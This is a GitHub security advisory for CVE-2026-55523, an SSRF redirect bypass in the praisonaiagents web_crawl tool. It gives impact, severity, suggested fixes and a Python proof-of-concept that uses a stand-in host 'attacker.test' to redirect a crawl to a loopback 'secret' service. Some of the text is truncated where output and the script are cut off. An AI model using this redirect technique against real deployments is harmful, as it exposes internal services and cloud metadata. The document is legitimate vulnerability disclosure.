GitHub Advisoryadvisory · PyPI
GHSA-8hjw-25cg-g52h praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
HIGH
Official page ↗
- Aliases
- CVE-2026-55523
- Ecosystem
- PyPI
- Packages
- praisonaiagents
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-08-25
Affected packages
• PyPI praisonaiagents: >= 1.5.128, < 1.6.58 → fixed in 1.6.58
Description
Summary
`praisonaiagents.tools.web_crawl_tools.web_crawl()` validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses `httpx.Client(follow_redirects=True)` and does not revalidate redirect targets.
An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by `web_crawl()`.
This appears to be an incomplete fix / patch bypass for the published `web_crawl` SSRF class (`GHSA-qq9r-63f6-v542` / `CVE-2026-40160`, and `GHSA-8f4v-xfm9-3244`).
Affected Component
Package:
```text
praisonaiagents
```
File:
```text
src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py
```
Functions:
```text
web_crawl()
_crawl_with_httpx()
```
Affected Versions
Validated affected:
• `praisonaiagents 1.5.128` via repository tag `v4.5.128`;
• `praisonaiagents 1.6.40` via repository tag `v4.6.40`;
• `praisonaiagents 1.6.56` via repository tag `v4.6.56`;
• current `origin/main` commit `095653d78a01cc6c80ff5b2dd20a8e5619686ddc`.
Suggested affected range for maintainer confirmation:
```text
>= 1.5.128, /go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback
```
The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.
With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:
```text
REDIRECT_HIT: True
INTERNAL_HIT: False
```
Impact
If an attacker can influence URLs passed to `web_crawl()`, directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the `web_crawl()` result.
Practical impact includes:
• reading loopback-only HTTP services;
• probing private network services;
• reading cloud metadata endpoints where reachable and not otherwise protected.
This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.
Severity
This mirrors the CVSS v4.0 shape already used for the prior `web_crawl` SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.
Suggested Fix
• Set `follow_redirects=False` in `_crawl_with_httpx()`, or handle redirects manually and validate each `Location` target before following it.
• Centralize the URL validation used by server-side fetch tools.
• Validate every resolved address using `socket.getaddrinfo()`, not only the first `gethostbyname()` result.
• Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
• Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.
PoV
```python
!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.
This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""
from __future__ import annotations
import http.server
import os
import socket
import socketserver
import threading
from typing import Any
from praisonaiagents.tools.web_crawl_tools import web_crawl
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"INTERNAL-SECRET-FROM-LOOPBACK"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_gethostbyname = socket.gethostbyname
original_getaddrinfo = socket.getaddrinfo
def fake_gethostbyname(host: str) -> str:
if host == "attacker.test":
return "93.184.216.34"
return original_gethostbyname(host)
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
socket.gethostbyname = fake_gethostbyname
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = web_crawl(
f"http://127.0.0.1:{internal_port}/secret",
provider="httpx",
)
redirect_result = web_crawl(
f"http://attacker.test:{redirect_port}/go",
provider="httpx",
)
finally:
socket.gethostbyname = original_gethostbyname
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdow…
Related
Alias · CVE (1)
- CVE-2026-55523 PraisonAI is a multi-agent teams system. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h web
- https://nvd.nist.gov/vuln/detail/CVE-2026-55523 advisory
- https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1 web
- https://github.com/MervinPraison/PraisonAI package
- https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58 web